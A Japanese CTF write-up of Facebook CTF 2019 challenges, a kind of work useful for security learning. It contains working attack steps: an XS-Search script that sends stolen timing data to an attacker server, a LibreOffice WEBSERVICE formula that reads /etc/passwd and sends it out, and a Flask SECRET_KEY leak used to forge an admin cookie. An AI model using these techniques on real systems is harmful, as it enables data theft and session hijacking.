st98 の日記帳


[ctf] Facebook CTF 2019 の write-up

6 月 1 日から 6 月 3 日にかけて開催された Facebook CTF 2019 に、チーム zer0pts として参加しました。最終的にチームで 9372 点を獲得し、順位は得点 1734 チーム中 18 位でした。うち、私は 6 問を解いて 3747 点を入れました。

他のメンバーの write-up はこちら。

以下、私が解いた問題の write-up です。

Web

products manager (100)

Come play with our products manager application!

(URL)

添付ファイル: products-manager.tar.gz

様々なプロダクトの管理ができる Web アプリケーションのようです。与えられた URL にアクセスすると View details of your own product (view.php) と Add your own product (add.php) へのリンクが表示されました。

view.php ではプロダクト名とパスワード (10 文字以上でアルファベットの大文字と小文字、数字のすべてが含まれている) を入力すると詳細が表示されます。add.php では自分のプロダクトを登録することができます。

添付ファイルとしてソースコードが与えられています。

db.php

<?php

/*
CREATE TABLE products (
  name char(64),
  secret char(64),
  description varchar(250)
);

INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/

facebook というプロダクトの詳細が得られればよさそうです。

まず SQL インジェクションを疑いましたが、プロダクトの表示時と追加時のいずれも、以下のように SQL 文の発行時にはプリペアドステートメントによる対策がされていました。

db.php

<?php

function insert_product($name, $secret, $description) {
  global $db;
  $statement = $db->prepare(
    "INSERT INTO products (name, secret, description) VALUES
      (?, ?, ?)"
  );
  check_errors($statement);
  $statement->bind_param("sss", $name, $secret, $description);
  check_errors($statement->execute());
  $statement->close();
}

facebook という名前のプロダクトが追加できるのではないかと思いましたが、add.php では以下のように既にその名前のプロダクトが登録されていないか確認されています。

<?php

    $product = get_product($name);
    if ($product !== null) {
      return "Product name already exists, please enter again";
    }

ここでテーブルの定義を見直してみましょう。

CREATE TABLE products (
  name char(64),
  secret char(64),
  description varchar(250)
);

namesecret はいずれも 64 文字の char (固定長文字列) として定義されています。固定長文字列では 64 文字未満の文字列を入力しようとすると 64 文字になるまで後ろを半角スペースで埋められ、65 文字以上の文字列を入力しようとすると 64 文字に切り詰められます。

secret は SHA-256 ハッシュなので問題ありませんが、add.php では name の文字数は確認されておらず、65 文字以上の文字列を入力してもそのまま挿入されてしまいます。これを利用すれば、facebook + (56 文字分の半角スペース) + (適当な文字列)name として入力すれば facebookname として入力したときと同じ結果になるはずです。既存のプロダクトがないかのチェックでは、name が 64 文字に切り捨てられるということはないので、これをバイパスできるはずです。

add.phpfacebook neko をプロダクト名に、nekoNEKOn3k0 をパスワードに入力してプロダクトを登録した上で、view.phpfacebook をプロダクト名に、nekoNEKOn3k0 をパスワードに入力するとフラグが得られました。

fb{4774ck1n9_5q1_w17h0u7_1nj3c710n_15_4m421n9_:)}

secret note keeper (676)

Find the secret note that contains the fl4g!

(URL)

(Timeout is 5 seconds for links, flag is case insensitive)

与えられた URL にアクセスするとログインフォームが表示されました。適当なユーザ名とパスワードで登録してみると、ノートの登録ができるページ (/nots)、検索ができるページ (/search)、管理者に好きな URL を訪問させることができるページ (/report_bugs) へのリンクが表示されました。

/notes は現在ログインしているユーザのノートしか表示されず、それぞれのノートの個別ページも投稿者しか閲覧できません。また、<>&'" はそれぞれ &lt; &gt; &amp; &#39; &#34 に置換されており、XSS はできそうにありません。

/search では現在ログインしているユーザのノートの内容が検索できます。SQL の LIKE 句のように、%_ を使って case-insensitive なあいまい検索ができるようです。検索結果は以下のように iframe を使って表示されます。

        <div style="float: left; padding: 5px; border: 1px black solid">
          <iframe style="border: none" src="/note/62"></iframe>
        </div>

さて、どうやってフラグを手に入れればいいのでしょうか。問題文から管理者はフラグが含まれているノートを登録していることが推測できますが、/search 等を使って読み出すことはできないでしょうか。

こういった状況で使えるものに Cross-Site Search (XS-Search) という手法があります。今回の Web アプリケーションでは、例えば fb{example} という内容のノートが存在していれば、fa を検索したときと fb で検索したときでは後者の方がレスポンスが遅くなるはずです。

では、アクセスすると訪問者に /search を叩かせるスクリプトを書きましょう。

index.html

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <title>XS-Search</title>
  </head>
  <body>
    <script src="index.js"></script>
  </body>
</html>

index.js

const target = 'http://(問題サーバ)/search?query=';
const urlToReport = 'http://(攻撃者のサーバ)/log.php?';
const known = decodeURIComponent(location.href.split('?')[1]);
const dummy = ';';
let table = dummy + 'abcdef';
//let table = dummy + 'ghijkl';
//let table = dummy + 'mnopqr';
//let table = dummy + 'stuvwx';
//let table = dummy + 'yz0123';
//let table = dummy + '456789';
//let table = dummy + '{}!';

//let table = dummy + "'#$&(";
//let table = dummy + ")*+,-";
//let table = dummy + "./:;<";
//let table = dummy + ">?@[|";
//let table = dummy + "]^`{}~";

table = table.split('');
//table.push(['\\_']);

window.addEventListener('load', () => {
    let result = [];
    let i = 0;

    const guess = (i) => {
        if (i === table.length) {
            const sorted = result.sort((x, y) => y[1] - x[1]);
            const found = sorted[0][0];
            console.log(found);
            (new Image).src = urlToReport + encodeURIComponent(JSON.stringify(sorted));
            return;
        }

        let start;
        let iframe = document.createElement('iframe');
        iframe.src = target + encodeURIComponent(known + table[i]);
        iframe.addEventListener('load', () => {
            document.body.removeChild(iframe);
            result.push([table[i], Date.now() - start]);
            setTimeout(() => {
                guess(i + 1);
            }, 100);
        }, false);

        start = Date.now();
        document.body.appendChild(iframe);
    };

    guess(0);
}, false);

http://(攻撃者のサーバ)/?fb{cr055_s173_l34| のような URL に管理者を訪問させると、http://(攻撃者のサーバ)/log.php[["<",256],[";",170],[".",131],["/",131],[":",131],[";",128]] のような JSON が飛んできます。この場合は、最初のリクエストである ; を除いてレスポンスが最も遅い < が正解と推測できます。

これをちまちま繰り返していくとフラグが得られました。

fb{cr055_s173_l34|<5_4r4_c00ool!!}


他の参加者が CSRF 等によって仕込んだと思われる偽フラグのせいで 1 ~ 2 時間を溶かしました。許しません。

pdfme (655)

We setup this PDF conversion service for public use, hopefully it’s safe.

(URL)

与えられた URL にアクセスすると、以下のような説明と共にファイルのアップロードができるフォームが表示されました。

Choose a file to upload (.fods, max 64kb, lowercase name)

.fods という拡張子のファイルをアップロードすると PDF に変換してくれるということでしょうか。fods file でググってみると、これは OpenDocument Spreadsheet 形式であることがわかりました。

LibreOffice の Calc で適当な fods ファイルを作成してアップロードすると、確かに PDF に変換して返してくれました。

fods ファイルは XML を使用しています。Web 問で XML といえば XML External Entity (XXE) ということで、fods ファイルに XXE を埋め込んでファイルの読み出しや Server Side Request Forgery (SSRF) ができないか試してみますが、サーバは Internal Server Error を返します。ダメそうです。

関数や計算式を展開してくれないか試してみましょう。実行環境のバージョンが得られる =INFO("release") を適当なセルに入力すると、以下のように出力されました。

64a0f66915f38c6217de274f0aa8e15618924765

これをググってみると、どうやら LibreOffice 6.0.0.3 を使って fods が PDF に変換されていることがわかりました。

LibreOffice 6.0.0.3 vulnerability でググってみると、LibreOffice 公式のセキュリティアドバイザリがヒットしました。どうやらこのバージョンには CVE-2018-6871 という脆弱性が存在しており、COM.MICROSOFT.WEBSERVICE という関数にファイルのパスを渡すことでそのファイルが読めるようです。

=WEBSERVICE("http://(攻撃者のサーバ)?" & ENCODEURL(WEBSERVICE("/etc/passwd")))/etc/passwd を読めないか試してみましょう。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
︙
libreoffice_admin:x:1000:1000::/home/libreoffice_admin:/bin/bash

読めました! /etc/passwd/home/libreoffice_admin/flag に変えるとフラグが得られました。

fb{wh0_7h0u6h7_l1br30ff1c3_c4n_b3_u53ful}

events (957)

I heard cookies and string formatting are safe in 2019?

(URL)

与えられた URL にアクセスするとログインフォームが表示されました。適当なユーザ名とパスワード (username_desu / password_dayo) で登録してみると、イベントの登録フォームと Admin 向けのページ (/flag) へのリンクが表示されました。後者にアクセスすると You do not seem to be an admin, username_desu! と表示され、なんとかして admin としてログインする (かログインしたことにする) 必要があるようです。

また、以下のような Cookie が発行されていました。

user=InVzZXJuYW1lX2Rlc3Ui.XPfk3g.PNtchS5A5LAfQU3XxkYtOatLgj0
events_sesh_cookie=.eJwljjkOwzAMwP7iOYNsyzrymUKSZbRr0kxF_94AnUkC_JTHOvJ8lv19XLmVx2uWvaA6TAkZAmmhS5qq-xSzTiIK0pBTGZsABViigi1AHqwDW6JUZc87mkhIZGuoVay-SDWMqTpzSEDehnnH6Tdkihjcu8YsW7nOPP4z0lr5_gCaVi6c.XPfk3g.AhTuh4O5wvdxlZr99PXNwYggzKk

それぞれ、ピリオドで区切った最初の文字列を URL-safe な Base64 としてデコードしてみます。

user: "username_desu"
events_sess_cookie: x\x9c%\x8e9\x0e\xc30\x0c\xc0\xfe\xe29\x83l\xcb:\xf2\x99B\x92e\xb4k\xd2LE\xff\xde\x00\x9dI\x02\xfc\x94\xc7:\xf2|\x96\xfd}\\\xb9\x95\xc7k\x96\xbd\xa0:L\t\x19\x02i\xa1K\x9a\xaa\xfb\x14\xb3N"\n\xd2\x90S\x19\x9b\x00\x05X\xa2\x82-@\x1e\xac\x03[\xa2Te\xcf;\x9aHHdk\xa8U\xac\xbeH5\x8c\xa9:sH@\xde\x86y\xc7\xe97d\x8a\x18\xdc\xbb\xc6,[\xb9\xce<\xfe3\xd2Z\xf9\xfe\x00\x9aV.\x9c

events_sess_cookie は zlib で圧縮されていそうです。展開しましょう。

{"_fresh":true,"_id":"49b0d8c8580eac9f8299bbd8aa3688908247e9742806c0ae490af047579542e48197be299d46466af59a141bf699ca761b77c8c0e99dab34db41b76cc57339cd","user_id":"822"}

_fresh_id のようなプロパティから Flask が使われていることが推測できます。

さて、イベントの登録フォームに脆弱性がないか色々試してみましょう。以下のように、フォームにはイベント名と開催地の入力欄と、どちらが重要な情報か選択できるセレクトボックスがあります。

				<form action="/" method="POST">
				  <div class="form-row align-items-center">
						<div class="col-auto">
				      Add a new event to your event database!
				    </div>
				    <div class="col-auto">
				      <input name="event_name" id="event_name" type="text" class="form-control" placeholder="Name of your event">
				    </div>
				    <div class="col-auto">
				      <input name="event_address" id="event_address" type="text" class="form-control" placeholder="Address of your event">
				    </div>
						<div class="col-auto">
				      Is the name or address more important?
				    </div>
						<div class="col-auto">
							<select name="event_important" class="form-control form-control-sm">
							  <option value="name">Name</option>
								<option value="address">Address</option>
							</select>
						</div>
						<button type="submit" class="btn btn-primary">Submit</button>
				  </div>
				</form>

適当なイベントを登録すると、トップページのイベント一覧ではセレクトボックスで選択した情報のみが表示されました。

ここでセレクトボックスのオプションとして <option value="__init__">Name</option> を加え、これを選択した状態でイベントを登録してみると、以下のような情報がイベント一覧に追加されました。

<bound method __init__ of Just another event>

謎のオブジェクトの __init__ メソッドが得られました。

TokyoWesterns CTF 4th 2018 の ShrineangstromCTF 2019 の Madlibbin と同じ要領で app.config を読み出し、セッションの署名に使われている SECRET_KEY も手に入れられないか試してみましょう。

セレクトボックスのオプションとして __init__.__globals__[app].config を加え、これを選択した状態でイベントを登録してみると、以下のような情報がイベント一覧に追加されました。

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'events_sesh_cookie', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///my.db', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}}>

SECRET_KEY が含まれています。これでセッションを改ざんして user のデータを "admin" に変えてみましょう。noraj/flask-session-cookie-manager を辞書だけでなく文字列も署名できるように改造した上で、先程得られた SECRET_KEY を使って "admin" を署名します。

$ diff session_cookie_manager.py kaizan.py 
53c53
<         session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
---
>         session_cookie_structure = ast.literal_eval(session_cookie_structure)
$ python3 kaizan.py encode -s 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' -t '"admin"'
ImFkbWluIg.D9UmMw.rThoC1QSMf1RiAa-CYu9gEbNQyg

これを Cookie の user にセットし、/flag にアクセスするとフラグが得られました。

fb{e@t_aLL_th0s3_c0oKie5}

Reversing

SOMBRERO ROJO (part 1) (424)

The binary has two flags, submit the other flag to the part 2.

添付ファイル: SOMBRERO_ROJO.tar.gz

SOMBRERO_ROJO.tar.gz を展開すると sombrero_rojo というファイルが出てきました。どのようなファイルか file コマンドで確認しましょう。

$ file ./sombrero_rojo
sombrero_rojo: ELF 64-bit MSB *unknown arch 0x3e00* (GNU/Linux)

よくわからないアーキテクチャの ELF のようです。私が問題を確認した時点で、@theoldmoon0602 さんによって 先頭から 6 バイト目 (e_machine) の 0201 に変えるだけで以下のように x86_64 の ELF として解釈できることがわかっていました。

$ file sombrero_rojo
sombrero_rojo: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=73bc159acbf342411d109a94d1d61533450ecf9f, stripped

また、@theoldmoon0602 さんと @ptrYudai さんによって main に相当する関数はほとんど無意味 (my_sUp3r_s3cret_p@$$w0rd1 をコマンドライン引数として与えると Nope{Lolz_this_isnt_the_flag...Try again...} が出力されるだけ) であることがわかっていました。

他に何か重要な処理を行っている部分がないか IDA の Freeware バージョンで調べてみると、.init_array セクション (ここに登録されているアドレスは main 関数の前に呼ばれる) に 0x4005a0 という関数が登録されていました。この関数は以下のような処理から始まっています。

.text:00000000004005A0                 push    r12
.text:00000000004005A2                 push    rbp
.text:00000000004005A3                 mov     edx, 0FFFF869Fh
.text:00000000004005A8                 push    rbx
.text:00000000004005A9                 xor     ecx, ecx
.text:00000000004005AB                 xor     esi, esi
.text:00000000004005AD                 xor     edi, edi
.text:00000000004005AF                 sub     rsp, 2B0h
.text:00000000004005B6                 movdqa  xmm0, cs:xmmword_496D40
.text:00000000004005BE                 mov     rax, fs:28h
.text:00000000004005C7                 mov     [rsp+2C8h+var_20], rax
.text:00000000004005CF                 xor     eax, eax
.text:00000000004005D1                 movaps  [rsp+2C8h+var_288], xmm0
.text:00000000004005D6                 mov     [rsp+2C8h+var_294], dx
.text:00000000004005DB                 mov     edx, 1
.text:00000000004005E0                 mov     [rsp+2C8h+var_268], 0
.text:00000000004005E5                 movdqa  xmm0, cs:xmmword_496D50
.text:00000000004005ED                 mov     [rsp+2C8h+var_298], 0A9CFB3A4h
.text:00000000004005F5                 mov     [rsp+2C8h+var_292], 0
.text:00000000004005FA                 movaps  [rsp+2C8h+var_278], xmm0
.text:00000000004005FF                 movdqa  xmm0, cs:xmmword_496D60
.text:0000000000400607                 movaps  [rsp+2C8h+var_2A8], xmm0
.text:000000000040060C                 call    sub_44EC50
.text:0000000000400611                 cmp     rax, 0FFFFFFFFFFFFFFFFh
.text:0000000000400615                 jz      loc_4007A7
︙
.text:00000000004007A7 loc_4007A7:                             ; CODE XREF: sub_4005A0+75↑j
.text:00000000004007A7                                         ; sub_4005A0+261↓j ...
.text:00000000004007A7                 mov     rax, [rsp+2C8h+var_20]
.text:00000000004007AF                 xor     rax, fs:28h
.text:00000000004007B8                 jnz     loc_400965
.text:00000000004007BE                 add     rsp, 2B0h
.text:00000000004007C5                 pop     rbx
.text:00000000004007C6                 pop     rbp
.text:00000000004007C7                 pop     r12
.text:00000000004007C9                 retn

sub_44EC50 を呼んだ結果が -1 であればその場でリターンしています。sub_44EC50 では mov eax, 65h; syscall という命令列で sys_ptrace が呼ばれており、この返り値をチェックすることによって gdb や strace 等でデバッグされていないか確認しているようです。gdb で楽にいじれるよう、jz loc_4007A7jz から jnz にいじっておきましょう。

ptrace を呼んだ後、0x4007a7 に飛ばなかった場合の処理を見ていきましょう。

.text:000000000040061B                 lea     rbx, [rsp+2C8h+var_2B5]
.text:0000000000400620                 mov     rax, 829E90D48B968FD4h
.text:000000000040062A                 mov     [rsp+2C8h+var_2AD], 959299D5h
.text:0000000000400632                 mov     [rsp+2C8h+var_2B5], rax
.text:0000000000400637                 mov     [rsp+2C8h+var_2A9], 0
.text:000000000040063C                 mov     rdi, rbx
.text:000000000040063F                 xor     byte ptr [rsp+2C8h+var_2B5], 0FBh
.text:0000000000400644                 call    sub_4004C0
.text:0000000000400649                 cmp     rax, 1
.text:000000000040064D                 jbe     loc_400798
.text:0000000000400653                 xor     byte ptr [rsp+2C8h+var_2B5+1], 0FBh
.text:0000000000400658                 or      rdx, 0FFFFFFFFFFFFFFFFh
.text:000000000040065C                 xor     eax, eax
.text:000000000040065E                 mov     rcx, rdx
.text:0000000000400661                 mov     rdi, rbx
.text:0000000000400664                 repne scasb
.text:0000000000400666                 not     rcx
.text:0000000000400669                 add     rcx, rdx
.text:000000000040066C                 cmp     rcx, 2
.text:0000000000400670                 jbe     loc_400798
︙
.text:0000000000400770                 xor     byte ptr [rsp+2C8h+var_2AD+3], 0FBh
.text:0000000000400775                 mov     rcx, rdx
.text:0000000000400778                 mov     rdi, rbx
.text:000000000040077B                 repne scasb
.text:000000000040077D                 mov     rax, rcx
.text:0000000000400780                 not     rax
.text:0000000000400783                 add     rax, rdx
.text:0000000000400786                 cmp     rax, 0Ch
.text:000000000040078A                 jbe     short loc_400798

var_2B5 について 1 バイトずつ 0xfb と XOR しています。どんな文字列ができたか gdb で確認してみましょう。

$ gdb ./sombrero_rojo
gdb-peda$ b *0x40078a
Breakpoint 1 at 0x40078a
gdb-peda$ r
gdb-peda$ x/s $rsp+0x2c8-0x2b5
0x7fffffffded3: "/tmp/key.bin"

/tmp/key.bin というファイルのパスらしき文字列が出てきました。この後の処理も追ってみましょう。

.text:0000000000400798 loc_400798:                             ; CODE XREF: sub_4005A0+AD↑j
.text:0000000000400798                                         ; sub_4005A0+D0↑j ...
.text:0000000000400798                 xor     esi, esi
.text:000000000040079A                 mov     rdi, rbx
.text:000000000040079D                 call    sub_44E0F0
.text:00000000004007A2                 cmp     eax, 0FFFFFFFFh
.text:00000000004007A5                 jnz     short loc_4007CA

rbx には var_2B5 へのアドレスが入っています。/tmp/key.bin を第一引数として sub_44E0F0 を呼び、返り値が -1 でないか確認しています。sub_44E0F0mov eax, 15h; syscall という命令列で sys_access が呼ばれており、どうやら /tmp/key.bin が存在しているかどうか確認しているようです。

.text:00000000004007CA loc_4007CA:                             ; CODE XREF: sub_4005A0+205↑j
.text:00000000004007CA                 lea     rsi, unk_4AA03F ; "r"
.text:00000000004007D1                 mov     rdi, rbx
.text:00000000004007D4                 call    sub_4141F0

sub_4141F0("/tmp/key.bin", "r") という感じで sub_4141F0 が呼ばれています。恐らく fopen でしょう。

.text:00000000004007D9                 lea     rdi, [rsp+2C8h+var_228]
.text:00000000004007E1                 mov     rbx, rax
.text:00000000004007E4                 mov     rdx, rax
.text:00000000004007E7                 mov     esi, 0FFh
.text:00000000004007EC                 call    sub_413EE0

sub_413EE0(var_228, 0xff, (sub_4141F0 の返り値)) という感じで sub_413EE0 が呼ばれています。fgets でしょう。

.text:00000000004007F1                 mov     rdi, rbx
.text:00000000004007F4                 call    sub_413AE0

sub_413AE0((sub_4141F0 の返り値)) という感じで sub_413AE0 が呼ばれています。fopen fgets と来たので fclose でしょう。

.text:00000000004007F9                 cmp     [rsp+2C8h+var_228], 0FBh
.text:0000000000400801                 jnz     short loc_4007A7
.text:0000000000400803                 cmp     [rsp+2C8h+var_226], 95h
.text:000000000040080B                 jnz     short loc_4007A7
.text:000000000040080D                 cmp     [rsp+2C8h+var_225], 17h
.text:0000000000400815                 jnz     short loc_4007A7
.text:0000000000400817                 cmp     [rsp+2C8h+var_224], 90h
.text:000000000040081F                 jnz     short loc_4007A7
.text:0000000000400821                 cmp     [rsp+2C8h+var_223], 0F4h
.text:0000000000400829                 jnz     loc_4007A7

先程 /tmp/key.bin から読み込んだデータの確認をしています。1 バイト目が 0xfb かどうか確認した後、3 バイト目 ~ 6 バイト目がそれぞれ 0x95 0x17 0x90 0xf4 であるかどうか確認しています。2 バイト目は確認されていません。

この部分を通過できるようなデータを /tmp/key.bin に書き込んで、改変前のバイナリを実行してみましょう。

$ echo -en "\xfb_\x95\x17\x90\xf4" > /tmp/key.bin
$ ./sombrero_rojo 
fb{7h47_W4sn7_S0_H4Rd}
Ready for the next challenge?... press enter

フラグが得られました。

fb{7h47_W4sn7_S0_H4Rd}

SOMBRERO ROJO (part 2) (935)

Once you get the flag for part 1, go get the flag for part 2. Note that the developer isn’t a great programmer, so watch out for bugs.

添付ファイル: SOMBRERO_ROJO.tar.gz

SOMBRERO ROJO (part 1) の続きのようです。添付ファイルも同じです。

正しいキーを入力した後、同じディレクトリに next_challenge.bin という、以下のような内容のファイルが書き込まれていました。

$ xxd next_challenge.bin | head
0000000: d40d ae5d 1ab6 bff9 c7de db95 4594 35d5  ...]........E.5.
0000010: b4c6 92bf 0bb5 b0c0 5ba8 c2aa c62c 1c49  ........[....,.I
0000020: 5827 37ac a40e 5eab a759 cd5e 1b56 95ed  X'7...^..Y.^.V..
0000030: d60a e179 17cf 8060 d1af 3658 a505 03dc  ...y...`..6X....
0000040: f5d3 39d5 d9e8 d651 9d4d b2ee 1507 6e36  ..9....Q.M....n6
0000050: 6906 1578 1770 f064 fd7a 9d4f 0b9d 46a3  i..x.p.d.z.O..F.
0000060: a5e5 6435 1c8d 0a40 3d5d 3278 6afe cee2  ..d5...@=]2xj...
0000070: a5bb 1606 47a6 0b81 515a d837 8ae4 e665  ....G...QZ.7...e
0000080: cf4c efba 8ec3 a17e 3523 40cc 3d1b 3e01  .L.....~5#@.=.>.
0000090: 90be cf74 9b34 a301 7e35 de85 a0d2 d902  ...t.4..~5......

strace で追ってみると最後に execve("next_challenge.bin", [0], [/* 26 vars */]) で実行しようとしていることから、このファイルは ELF か shebang (#!) で始まるスクリプトファイル等になるはずが復号に失敗してしまったものであることが推測できます。

復号に XOR を使っていると仮定して、\xd4\x0d\xae\x5d\x7fELF を XOR したバイト列である \xab\x48\xe2\x1b で検索してみると、複数箇所 (しかも全て 256 で割り切れるオフセット) で見つかりました。恐らく 256 バイト単位で \xab\x48\xe2\x1b から始まる 256 バイトの鍵と XOR しており、null バイトが続いている箇所でこの鍵の一部が出てきてしまったのでしょう。

これを利用して XOR されている鍵を推測してみましょう。

from collections import Counter

with open('next_challenge.bin', 'rb') as f:
  s = f.read()

cands = []
for i in range(0, 0x3000, 0x100):
  if s[i:i+0x100].startswith(b'\xab\x48'):
    cands.append(s[i:i+0x100])

key = b''
for i in range(0x100):
  key += bytes([Counter([cand[i] for cand in cands]).most_common(1)[0][0]])
print(key)
$ python3 find_key.py
b'\xabH\xe2\x1b\x18\xb7\xbe\xf9\xc7\xde\xdb\x95E\x945\xd5\xb7\xc6\xac\xbf\n\xb5\xb0\xc0k\xad\xc2\xaa\xc6,\x1cI\x18\'7\xac\xa4\x0e^\xab\x97p\xcd^\x1bV\x95\xed\xd6\n\xe1yW\xcf\xb8`\xd8\xafvX\xb8\x05\x1f\xdc\xf3\xd39\xd5\xdd\xe8\xd6Q\xddM\xb2\xee\x15\x07n6)\x06\x15x\x17p\xf0d\xbdz\x9dO\x0b\x9dF\xa3]\xe4d5\x1c\x8d\n@\xc5\\2xj\xfe\xce\xe2\xad\xbb\x16\x06G\xa6\x0b\x81RZ\xd87\x8e\xe4\xe6e\xf7N\xef\xba\x8e\xc3\xa1~\r!@\xcc=\x1b>\x01\xa8\xbc\xcft\x9b4\xa3\x01b5\xde\x85\xa0\xd2\xd9\x02:\xf0\xaa\xb9\xa6\xbc\xcf.V\x0c-\xd765ogRKfp\x1f\xe4kT\x98\x9e\xe4Q~\x86\x16\xc1\x08\xd6x!\x16\x03\x1ak\xd1\xc2\xee(z\xc1"s6S\xa8\x1e"\xb7@\xff\xb1\x9cXx/\xef\x0cL\x14\xd4\xa5\x15\xf1\x17\x9eJB\x9a\x9abRN\x1adQ\x92\'\xacw\x1f\x9fn\xe5dc\xe0?\x03\x1d\xb6'

鍵と思われるバイト列が得られました。これと next_challenge.bin を XOR して実行してみましょう。

$ python2
︙
>>> from pwn import *
>>> encrypted = open('next_challenge.bin', 'rb').read()
>>> key = '\xabH\xe2\x1b\x18\xb7\xbe\xf9\xc7\xde\xdb\x95E\x945\xd5\xb7\xc6\xac\xbf\n\xb5\xb0\xc0k\xad\xc2\xaa\xc6,\x1cI\x18\'7\xac\xa4\x0e^\xab\x97p\xcd^\x1bV\x95\xed\xd6\n\xe1yW\xcf\xb8`\xd8\xafvX\xb8\x05\x1f\xdc\xf3\xd39\xd5\xdd\xe8\xd6Q\xddM\xb2\xee\x15\x07n6)\x06\x15x\x17p\xf0d\xbdz\x9dO\x0b\x9dF\xa3]\xe4d5\x1c\x8d\n@\xc5\\2xj\xfe\xce\xe2\xad\xbb\x16\x06G\xa6\x0b\x81RZ\xd87\x8e\xe4\xe6e\xf7N\xef\xba\x8e\xc3\xa1~\r!@\xcc=\x1b>\x01\xa8\xbc\xcft\x9b4\xa3\x01b5\xde\x85\xa0\xd2\xd9\x02:\xf0\xaa\xb9\xa6\xbc\xcf.V\x0c-\xd765ogRKfp\x1f\xe4kT\x98\x9e\xe4Q~\x86\x16\xc1\x08\xd6x!\x16\x03\x1ak\xd1\xc2\xee(z\xc1"s6S\xa8\x1e"\xb7@\xff\xb1\x9cXx/\xef\x0cL\x14\xd4\xa5\x15\xf1\x17\x9eJB\x9a\x9abRN\x1adQ\x92\'\xacw\x1f\x9fn\xe5dc\xe0?\x03\x1d\xb6'
>>> open('decrypted', 'wb').write(xor(encrypted, key))
$ chmod +x decrypted 
$ ./decrypted

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0OkkkkOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKOxlcclllccld0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcccd0XXK0xlco0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcclOWWWNNXklcoKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdcclOWWWWNNXxccdXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdcclOWWWWNNNKdcckNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxcccOWWWWWNNNOlcoKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
